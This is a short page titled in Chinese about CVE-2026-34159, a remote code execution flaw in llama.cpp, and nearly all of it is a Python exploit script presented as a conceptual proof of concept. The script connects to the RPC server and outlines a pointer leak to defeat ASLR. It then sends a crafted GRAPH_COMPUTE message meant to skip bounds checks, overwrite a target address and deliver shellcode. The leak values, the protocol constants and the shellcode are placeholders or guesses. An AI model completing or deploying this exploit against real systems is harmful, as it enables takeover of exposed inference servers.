CVE-2026-34159 llama.cpp 远程代码执行漏洞

import socket import struct # Conceptual PoC for CVE-2026-34159 # This script demonstrates the logic to exploit the deserialization issue. # Specific protocol structures are inferred from the vulnerability description. def send_rpc_message(sock, msg_type, data): # Construct a hypothetical RPC header and payload # In a real scenario, this would match the llama.cpp RPC protocol header = struct.pack('<I', msg_type) + struct.pack('<I', len(data)) sock.sendall(header + data) def exploit(target_ip, target_port): print(f"[+] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) try: # Step 1: Leak pointers to bypass ASLR (ALLOC_BUFFER/BUFFER_GET_BASE) print("[+] Leaking pointers...") # send_rpc_message(sock, ALLOC_BUFFER, ...) # send_rpc_message(sock, BUFFER_GET_BASE, ...) leaked_base = 0xdeadbeef # Placeholder for leaked address print(f"[+] Leaked base address: {hex(leaked_base)}") # Step 2: Craft GRAPH_COMPUTE message with buffer=0 to skip validation print("[+] Sending malicious GRAPH_COMPUTE message...") # The payload is designed to trigger the missing bounds check # Target address to overwrite (e.g., return address or function pointer) target_addr = leaked_base + 0x1234 shellcode = b"\x90" * 100 # Placeholder for shellcode # Constructing the malicious tensor data # This simulates passing a crafted tensor that bypasses checks exploit_payload = struct.pack('<Q', target_addr) + shellcode # Send the exploit message (assuming GRAPH_COMPUTE type ID is 0x05) send_rpc_message(sock, 0x05, exploit_payload) print("[+] Exploit sent. Check for shell.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target details exploit("127.0.0.1", 50051)